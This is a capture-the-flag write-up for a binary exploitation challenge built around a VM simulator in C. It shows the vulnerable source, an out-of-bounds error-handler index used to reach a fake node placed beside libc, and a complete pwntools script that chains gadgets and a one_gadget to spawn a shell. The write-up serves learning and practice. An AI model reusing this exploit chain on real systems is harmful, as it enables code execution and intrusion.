The challenge gives us a source code
simulation.c
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#define CONSTANT 0
#define REGISTER 1
#define MEM 2
#define MAX_COUNT 0x100
enum COMMAND_TYPE
{
ADD,
SUBTRACT,
MULTIPLY,
DIVIDE,
STORE,
LOAD
};
struct arg
{
size_t type;
size_t val;
};
struct command
{
size_t func;
struct arg arg[3];
};
struct node
{
uint32_t error_handler;
uint32_t cur_cmd;
uint32_t nb_cmd;
uint32_t next_node;
int (*error_callback)(struct node *, uint32_t, bool);
struct command cmd[0];
};
uint32_t node_head;
struct node *node_list[MAX_COUNT];
uint32_t ip;
uint64_t re[5];
char *mem;
size_t mem_size;
uint64_t get_val(struct arg *arg)
{
switch (arg->type)
{
case CONSTANT:
return arg->val;
case REGISTER:
return re[arg->val];
case MEM:
return *(uint64_t *)(&mem[arg->val]);
}
}
void store_val(struct arg *arg, uint64_t val)
{
switch (arg->type)
{
case CONSTANT:
return;
case REGISTER:
re[arg->val] = val;
return;
case MEM:
*(uint64_t *)(&mem[arg->val]) = val;
return;
}
}
uint64_t get_val_safe(struct arg *arg)
{
switch (arg->type)
{
case CONSTANT:
return arg->val;
case REGISTER:
return re[arg->val];
case MEM:
if (arg->val + 8 > mem_size)
{
mem_size = arg->val + 8;
return 0;
}
return 0;
}
}
void store_val_safe(struct arg *arg, uint64_t val)
{
switch (arg->type)
{
case CONSTANT:
return;
case REGISTER:
return re[arg->val] = val;
case MEM:
if (arg->val + 8 > mem_size)
{
mem_size = arg->val + 8;
return;
}
}
}
int handler1(struct node *node, uint32_t ip, bool debug)
{
if (debug)
printf("Error happen at node %d, cmd[%d] - CONTINUE\n", ip, node->cur_cmd);
return 0;
}
int handler2(struct node *node, uint32_t ip, bool debug)
{
if (debug)
printf("Error happen at node %d, cmd[%d] - DISCONTINUE\n", ip, node->cur_cmd);
return -1;
}
int handler3(struct node *node, uint32_t ip, bool debug)
{
char buf[5];
if (debug)
{
printf("Error happen at node %d, cmd[%d] - CONTINUE? (y/n)", ip, node->cur_cmd);
read(0, buf, 2);
if (buf[0] == 'Y' || buf[0] == 'y')
{
return 0;
}
}
return -1;
}
uint32_t resolve_error(struct node *cur_node, uint32_t ip, bool debug)
{
if (cur_node->error_callback)
{
if (!debug)
{
cur_node->cur_cmd++;
return 1;
}
if (cur_node->error_callback(cur_node, ip, debug))
{
return 0;
}
else
{
cur_node->cur_cmd++;
return 1;
}
}
else
{
cur_node->cur_cmd = 0;
return 2;
}
}
void simulate()
{
struct node *cur_node;
size_t i;
ip = node_head;
memset(re, 0, sizeof re);
memset(mem, 0, mem_size);
uint64_t tmp;
uint32_t cycle = 0;
uint32_t status_code;
while (cycle <= 0x5000)
{
cur_node = node_list[ip];
if (!cur_node)
{
break;
}
if (cur_node->cur_cmd >= cur_node->nb_cmd)
{
if (cur_node->next_node)
{
ip = cur_node->next_node;
cur_node = node_list[ip];
}
else
{
break;
}
}
cycle++;
switch (cur_node->cmd[cur_node->cur_cmd].func)
{
case ADD:
tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]) + get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
cur_node->cur_cmd++;
break;
case SUBTRACT:
tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]) - get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
cur_node->cur_cmd++;
break;
case MULTIPLY:
tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]) * get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
cur_node->cur_cmd++;
break;
case DIVIDE:
if (get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]) == 0)
{
status_code = resolve_error(cur_node, ip, 0);
if (status_code == 0)
{
return;
}
if (status_code == 1)
{
break;
}
if (status_code == 2)
{
ip = cur_node->error_handler;
continue;
}
}
tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]) / get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
cur_node->cur_cmd++;
break;
case LOAD:
if (cur_node->cmd[cur_node->cur_cmd].arg[0].type != MEM)
{
status_code = resolve_error(cur_node, ip, 0);
if (status_code == 0)
{
return;
}
if (status_code == 1)
{
break;
}
if (status_code == 2)
{
ip = cur_node->error_handler;
continue;
}
}
tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]);
store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1], tmp);
cur_node->cur_cmd++;
break;
case STORE:
if (cur_node->cmd[cur_node->cur_cmd].arg[0].type != MEM)
{
status_code = resolve_error(cur_node, ip, 0);
if (status_code == 0)
{
return;
}
if (status_code == 1)
{
break;
}
if (status_code == 2)
{
ip = cur_node->error_handler;
continue;
}
}
store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0], get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]));
cur_node->cur_cmd++;
break;
}
}
for (i = 0; i < MAX_COUNT; ++i)
{
if (node_list[i])
{
node_list[i]->cur_cmd = 0;
}
}
}
void run()
{
struct node *cur_node;
ip = node_head;
memset(re, 0, sizeof re);
memset(mem, 0, mem_size);
uint64_t tmp;
uint32_t cycle = 0;
uint32_t status_code;
while (cycle <= 0x5000)
{
cur_node = node_list[ip];
if (!cur_node)
{
break;
}
if (cur_node->cur_cmd >= cur_node->nb_cmd)
{
if (cur_node->next_node)
{
ip = cur_node->next_node;
cur_node = node_list[ip];
}
else
{
break;
}
}
cycle++;
switch (cur_node->cmd[cur_node->cur_cmd].func)
{
case ADD:
tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]) + get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
store_val(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
cur_node->cur_cmd++;
break;
case SUBTRACT:
tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]) - get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
store_val(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
cur_node->cur_cmd++;
break;
case MULTIPLY:
tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]) * get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
store_val(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
cur_node->cur_cmd++;
break;
case DIVIDE:
if (get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]) == 0)
{
status_code = resolve_error(cur_node, ip, 1);
if (status_code == 0)
{
goto output;
}
if (status_code == 1)
{
break;
}
if (status_code == 2)
{
ip = cur_node->error_handler;
continue;
}
}
tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]) / get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
store_val(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
cur_node->cur_cmd++;
break;
case LOAD:
if (cur_node->cmd[cur_node->cur_cmd].arg[0].type != MEM)
{
status_code = resolve_error(cur_node, ip, 1);
if (status_code == 0)
{
goto output;
}
if (status_code == 1)
{
break;
}
if (status_code == 2)
{
ip = cur_node->error_handler;
continue;
}
}
tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]);
store_val(&cur_node->cmd[cur_node->cur_cmd].arg[1], tmp);
cur_node->cur_cmd++;
break;
case STORE:
if (cur_node->cmd[cur_node->cur_cmd].arg[0].type != MEM)
{
status_code = resolve_error(cur_node, ip, 1);
if (status_code == 0)
{
goto output;
}
if (status_code == 1)
{
break;
}
if (status_code == 2)
{
ip = cur_node->error_handler;
continue;
}
}
store_val(&cur_node->cmd[cur_node->cur_cmd].arg[0], get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]));
cur_node->cur_cmd++;
break;
}
}
output:
puts("Finish running");
printf("IP: %u\n", ip);
}
bool check_func(uint64_t func)
{
if (func > LOAD)
{
return false;
}
return true;
}
void new_node()
{
size_t idx;
size_t nb_cmd;
size_t i;
size_t j;
struct node *node;
struct command *cmd;
struct arg *arg;
char buf[5];
uint32_t handler;
size_t type;
size_t val;
size_t func;
uint32_t next_node;
printf("Index: ");
idx = read_int();
if (idx == 0 || idx >= MAX_COUNT || node_list[idx])
{
puts("Invalid index");
return;
}
printf("Number of command: ");
nb_cmd = read_int();
if (nb_cmd >= 0x10)
{
puts("Too many commands");
return;
}
printf("Next node: ");
next_node = read_int();
if (next_node >= MAX_COUNT)
{
puts("Invalid node");
return;
}
node = calloc(sizeof(struct node) + sizeof(struct command) * nb_cmd, 1);
node->nb_cmd = nb_cmd;
node->next_node = next_node;
printf("Fill command list: ");
read(0, node->cmd, sizeof(struct command) * nb_cmd);
for (i = 0; i < nb_cmd; ++i)
{
for (j = 0; j < 3; ++j)
{
cmd = &node->cmd[i];
arg = &cmd->arg[j];
type = arg->type;
val = arg->val;
func = cmd->func;
if ((type > MEM) || !check_func(func) || (type == REGISTER && val >= 5) || (type == MEM && val >= 0xffffffff))
{
free(node);
puts("Invalid commands");
return;
}
}
}
printf("Use default handler? (y/n): ");
read(0, buf, 2);
if (buf[0] == 'Y' || buf[0] == 'y')
{
printf("Input default error handler: ");
handler = read_int();
if (handler == 1)
{
node->error_callback = &handler1;
}
else if (handler == 2)
{
node->error_callback = &handler2;
}
else
{
node->error_callback = &handler3;
}
}
else
{
printf("Input error handler: ");
handler = read_int();
node->error_handler = handler;
}
node_list[idx] = node;
}
void cleanup()
{
size_t i;
for (i = 0; i < MAX_COUNT; ++i)
{
if (node_list[i])
{
free(node_list[i]);
node_list[i] = NULL;
}
}
}
void menu()
{
printf("\n");
puts("------------------------");
puts("1. New node");
puts("2. Run");
puts("3. Exit");
printf("> ");
}
void timeout()
{
puts("Timeout");
exit(1);
}
int read_int()
{
char buf[20];
memset(buf, 0, 20);
read(0, buf, 10);
return atoi(buf);
}
void init()
{
signal(0xe, &timeout);
alarm(60);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main(void)
{
init();
puts("A weird machine simulation!");
int choice;
while (1)
{
menu();
choice = read_int();
switch (choice)
{
case 1:
new_node();
break;
case 2:
printf("Where to start? ");
node_head = read_int();
if (node_head == 0 || node_head > MAX_COUNT)
{
puts("Invalid start");
break;
}
simulate();
mem = calloc(mem_size, 1);
if (!mem)
{
puts("Out of memory");
exit(1);
}
run();
free(mem);
mem = NULL;
mem_size = 0;
cleanup();
break;
case 3:
exit(0);
break;
}
}
}
```
We have the structs
```cpp=
struct arg
{
size_t type;
size_t val;
};
struct command
{
size_t func;
struct arg arg[3];
};
struct node
{
uint32_t error_handler;
uint32_t cur_cmd;
uint32_t nb_cmd;
uint32_t next_node;
int (*error_callback)(struct node *, uint32_t, bool);
struct command cmd[0];
};
```
`error_handler` is a index to another node when `error_callback` is `NULL` and the program redirect to that node when meeting error
`cur_cmd` is the index of `cmd`
`nb_cmd` is the number of commands
`next_node` is the node called when the program done executing the current node
`error_callback` is a function pointer called when the program meeting error
In `new_node` function when creating the error handle for a node, the user choose between using default function(use `error_callback`) or a `error_handle`
```cpp=
printf("Use default handler? (y/n): ");
read(0, buf, 2);
if (buf[0] == 'Y' || buf[0] == 'y')
{
printf("Input default error handler: ");
handler = read_int();
if (handler == 1)
{
node->error_callback = &handler1;
}
else if (handler == 2)
{
node->error_callback = &handler2;
}
else
{
node->error_callback = &handler3;
}
}
else
{
printf("Input error handler: ");
handler = read_int();
node->error_handler = handler;
}
```
Notice that the `error_handler` is index and there's no bound check here
So i pass it a big index to go out of `node_list`
The
```cpp=
read(0, node->cmd, sizeof(struct command) * nb_cmd);
```
When i pass cmds it might overflow `1` byte so i can't use default handler, but i don't need it tho
So the `simulation` function, simplify i prepare the `mem_size` which is to `calloc(mem_size)` and store the return value in `mem`
Make the `mem_size` large so that the `heap` section can't meet, the program will allocate a `mmap chunk` which is right below `libc`

The `mem_size` here is `0xfffff` which is right after `mem`
Now to the exploit
## get the libc
Getting the libc but not leaking because i can store a libc leak at a variable but not print it
So i can pass a large `error_handler` and trigger the error by dividing by `0` or `LOAD` at not a `MEM` type ...
The program simulates how a machine work with registers (`5` register) and memory. We can write to register or memory with some operator with arguments is registers or some where in memory
`node_list` is a array of pointers pointing to `struct node`
So with a calculated `index` i can make it land on `mem` which having the return value of `calloc` and we can write to that allocated area so i create a fake chunk there
The fake chunk will have the cmd
```
ADD
CONSTANT 0
RE (MEM - RE) // 8 index to re so that it lands on mem
RE 0 // store the value of mem in re[0]
```

```python=
#calloc mmap chunk
cmd_type = p64(COMMAND_TYPE['MULTIPLY'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(3)
arg2 = p64(ARG_TYPE['MEM'].value) + p64(0xfffff - 8)
commands = cmd_type + arg0 + arg1 + arg2
#create fake struct node
commands += store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000200000001) #nb_cmds = 1, next_node = 2
commands += store_mem(2, 0) # error callback
commands += store_mem(3, COMMAND_TYPE['ADD'].value)
commands += store_mem(4, ARG_TYPE['CONSTANT'].value)
commands += store_mem(5, 0)
commands += store_mem(6, ARG_TYPE['REGISTER'].value)
commands += store_mem(7, (MEM - RE) // 8) # get the value of mem which is near libc address
commands += store_mem(8, ARG_TYPE['REGISTER'].value)
commands += store_mem(9, 0) # store leak at re[0]
#trigger error to redirect to fake struct node
cmd_type = p64(COMMAND_TYPE['DIVIDE'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands += cmd_type + arg0 + arg1 + arg2
```
Attaching with gdb

So i have the libc leak at `re[0]`
The fake struct a `mem`

I screenshot in another run so the address is different
## one_gadget
So now i have `re[0]` is libc address(below the libc)
In fake chunk i make `next_node` is `2`
I create a node `2` that also create a fake chunk in `mem` and this time i set the `error_callback` is a somewhere in libc
First is adding the `re[0]` libc offset and store the value in `re[1]` so `re[1]` is now libc start
```python=
cmd_type = p64(COMMAND_TYPE['ADD'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(1064944)
arg1 = p64(ARG_TYPE['REGISTER'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands = cmd_type + arg0 + arg1 + arg2
```
First i write `one_gadget` in `error_callback` field
```python=
#write one_gadget to callback
commands += store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000300000001) #nb_cmds = 1, next_node = 3
commands += store_mem_re(2, 1, ONE_GADGET) # error callback, store the value at re[1] in mem + 2*8
commands += store_mem(3, COMMAND_TYPE['LOAD'].value)
commands += store_mem(4, ARG_TYPE['REGISTER'].value)
commands += store_mem(5, 3)
commands += store_mem(6, ARG_TYPE['CONSTANT'].value)
commands += store_mem(7, 4) # divided by 0 to trigger error_callback
commands += store_mem(8, ARG_TYPE['REGISTER'].value) #not important
commands += store_mem(9, 2) #not important
```

But cheking the conditions and there's no gadget i can use

But then i try to first make some gadgets to zero out the `r12`, `r13` register or make it points to `0`
Registers when reach gadget

The stack

I found `2` gadgets that do that
```python=
ZERO_R12 = 0x0000000000099f96 #: push rax ; mov rax, r12 ; pop r12 ; ret
ZERO_R13 = 0x0000000000042f76 #: pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
```
I make `r12`, `r13` equal to the the fake chunk pointer and the first field of that chunk is zero
In `ZERO_R13` it has a few pop and make the program ret to the next command in `run` function when call `resolve_error`
And `ZERO_R12`, when the program run a `error_callback` it will stop iterating the `node_list` and finish the loop

So that `r12`, `r13` is now the pointer to fake chunk

But after finish it doesn't point to anything because the memory is `unmmap`
So i have to recreate `mmap` chunk and create a fake struct again and write `one_gadget` to it
Don't know why but when i pass the same `mem_size` it doesn't return `mmap` chunk(the heap then is bigger but still don't know why) so i pass a bigger then it works
Set a break point before `one_gadget`


The conditions are meet
Continue


Full script
```python=
from pwn import *
import enum
class ARG_TYPE(enum.Enum):
CONSTANT = 0
REGISTER = 1
MEM = 2
class COMMAND_TYPE(enum.Enum):
ADD = 0
SUBTRACT = 1
MULTIPLY = 2
DIVIDE = 3
STORE = 4
LOAD = 5
elf = context.binary = ELF('/home/kakaka/KMA_CTF/simulation')
libc = elf.libc
p = process()
#gdb.attach(p)
def create_newnode(index, nb_cmds, next_node, default_handler, handler, cmds):
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'Index: ')
p.sendline(str(index).encode())
p.recvuntil(b'Number of command: ')
p.sendline(str(nb_cmds).encode())
p.recvuntil(b'Next node: ')
p.sendline(str(next_node).encode())
p.recvuntil(b'Fill command list: ')
p.sendline(cmds)
p.recvuntil(b'Use default handler? (y/n): ')
if default_handler == 0:
p.sendline(b'n')
p.recvuntil(b'Input error handler: ')
p.sendline(str(handler).encode())
else:
#p.sendline(b'y')
#print(p.recv(1024))
#p.recvuntil(b'Input default error handler: ')
p.recvuntil(b'Input error handler: ')
p.sendline(str(handler).encode())
def store_mem(index, value):
cmd_type = p64(COMMAND_TYPE['ADD'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(value)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg2 = p64(ARG_TYPE['MEM'].value) + p64(index*8)
return cmd_type + arg0 + arg1 + arg2
def store_mem_re(index, re, value):
cmd_type = p64(COMMAND_TYPE['ADD'].value)
arg0 = p64(ARG_TYPE['REGISTER'].value) + p64(re)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(value)
arg2 = p64(ARG_TYPE['MEM'].value) + p64(index*8)
return cmd_type + arg0 + arg1 + arg2
MEM = 0x58c8
NODE_LIST = 0x5080
RE = 0x58a0
ONE_GADGET = 0xd831a
ZERO_R12 = 0x0000000000099f96 #: push rax ; mov rax, r12 ; pop r12 ; ret
ZERO_R13 = 0x0000000000042f76 #: pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
#calloc mmap chunk
cmd_type = p64(COMMAND_TYPE['MULTIPLY'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(3)
arg2 = p64(ARG_TYPE['MEM'].value) + p64(0xfffff - 8)
commands = cmd_type + arg0 + arg1 + arg2
#create fake struct node
commands += store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000200000001) #nb_cmds = 1, next_node = 2
commands += store_mem(2, 0) # error callback
commands += store_mem(3, COMMAND_TYPE['ADD'].value)
commands += store_mem(4, ARG_TYPE['CONSTANT'].value)
commands += store_mem(5, 0)
commands += store_mem(6, ARG_TYPE['REGISTER'].value)
commands += store_mem(7, (MEM - RE) // 8) # get the value of mem which is near libc address
commands += store_mem(8, ARG_TYPE['REGISTER'].value)
commands += store_mem(9, 0) # store leak at re[0]
#trigger error to redirect to fake struct node
cmd_type = p64(COMMAND_TYPE['DIVIDE'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands += cmd_type + arg0 + arg1 + arg2
idx = 1
next_idx = 0
no_cmds = 12
error_handle = (MEM - NODE_LIST) // 8 #redirect to fake struct node
create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands)
#create second node
#add re[0] libc offset and store it in re[1]
cmd_type = p64(COMMAND_TYPE['ADD'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(1064944)
arg1 = p64(ARG_TYPE['REGISTER'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands = cmd_type + arg0 + arg1 + arg2
#write gadget clear r13 to callback
commands += store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000300000001) #nb_cmds = 1, next_node = 3
commands += store_mem_re(2, 1, ZERO_R13) # error callback, store the value at re[1] in mem + 2*8
commands += store_mem(3, COMMAND_TYPE['LOAD'].value)
commands += store_mem(4, ARG_TYPE['REGISTER'].value)
commands += store_mem(5, 3)
commands += store_mem(6, ARG_TYPE['CONSTANT'].value)
commands += store_mem(7, 4) # divided by 0 to trigger error_callback
commands += store_mem(8, ARG_TYPE['REGISTER'].value) #not important
commands += store_mem(9, 2) #not important
#trigger error_handle to redirect to fake struct node
cmd_type = p64(COMMAND_TYPE['DIVIDE'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands += cmd_type + arg0 + arg1 + arg2
idx = 2
no_cmds = 12
create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands)
#node 3 to make r12 point to zero
#write gadget clear r12 to callback
commands = store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000400000001) #nb_cmds = 1, next_node = 4
commands += store_mem_re(2, 1, ZERO_R12) # error callback, store the value at re[1] in mem + 2*8
commands += store_mem(3, COMMAND_TYPE['DIVIDE'].value)
commands += store_mem(4, ARG_TYPE['REGISTER'].value)
commands += store_mem(5, 3)
commands += store_mem(6, ARG_TYPE['CONSTANT'].value)
commands += store_mem(7, 0) # divided by 0 to trigger error_callback
commands += store_mem(8, ARG_TYPE['REGISTER'].value) #not important
commands += store_mem(9, 2) #not important
#trigger error_handle to redirect to fake struct node
cmd_type = p64(COMMAND_TYPE['DIVIDE'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands += cmd_type + arg0 + arg1 + arg2
idx = 3
no_cmds = 11
create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands)
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'Where to start? ')
p.sendline(b'1')
#because after trigger callback the program will stop
#run the struct so i have to rebuild the node
#calloc mmap chunk
cmd_type = p64(COMMAND_TYPE['MULTIPLY'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(3)
arg2 = p64(ARG_TYPE['MEM'].value) + p64(0xffffff - 8)
commands = cmd_type + arg0 + arg1 + arg2
#create fake struct node
commands += store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000200000001) #nb_cmds = 1, next_node = 2
commands += store_mem(2, 0) # error callback
commands += store_mem(3, COMMAND_TYPE['ADD'].value)
commands += store_mem(4, ARG_TYPE['CONSTANT'].value)
commands += store_mem(5, 0)
commands += store_mem(6, ARG_TYPE['REGISTER'].value)
commands += store_mem(7, (MEM - RE) // 8) # get the value of mem which is near libc address
commands += store_mem(8, ARG_TYPE['REGISTER'].value)
commands += store_mem(9, 0) # store leak at re[0]
#trigger error to redirect to fake struct node
cmd_type = p64(COMMAND_TYPE['DIVIDE'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands += cmd_type + arg0 + arg1 + arg2
idx = 1
no_cmds = 12
error_handle = (MEM - NODE_LIST) // 8 #redirect to fake struct node
create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands)
#create second node
#add re[0] libc offset and store it in re[1]
cmd_type = p64(COMMAND_TYPE['ADD'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(16793584)
arg1 = p64(ARG_TYPE['REGISTER'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands = cmd_type + arg0 + arg1 + arg2
#write one_gadget to callback
commands += store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000300000001) #nb_cmds = 1, next_node = 3
commands += store_mem_re(2, 1, ONE_GADGET) # error callback, store the value at re[1] in mem + 2*8
commands += store_mem(3, COMMAND_TYPE['LOAD'].value)
commands += store_mem(4, ARG_TYPE['REGISTER'].value)
commands += store_mem(5, 3)
commands += store_mem(6, ARG_TYPE['CONSTANT'].value)
commands += store_mem(7, 4) # divided by 0 to trigger error_callback
commands += store_mem(8, ARG_TYPE['REGISTER'].value) #not important
commands += store_mem(9, 2) #not important
#trigger error_handle to redirect to fake struct node
cmd_type = p64(COMMAND_TYPE['DIVIDE'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands += cmd_type + arg0 + arg1 + arg2
idx = 2
no_cmds = 12
create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands)
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'Where to start? ')
p.sendline(b'1')
p.interactive()
```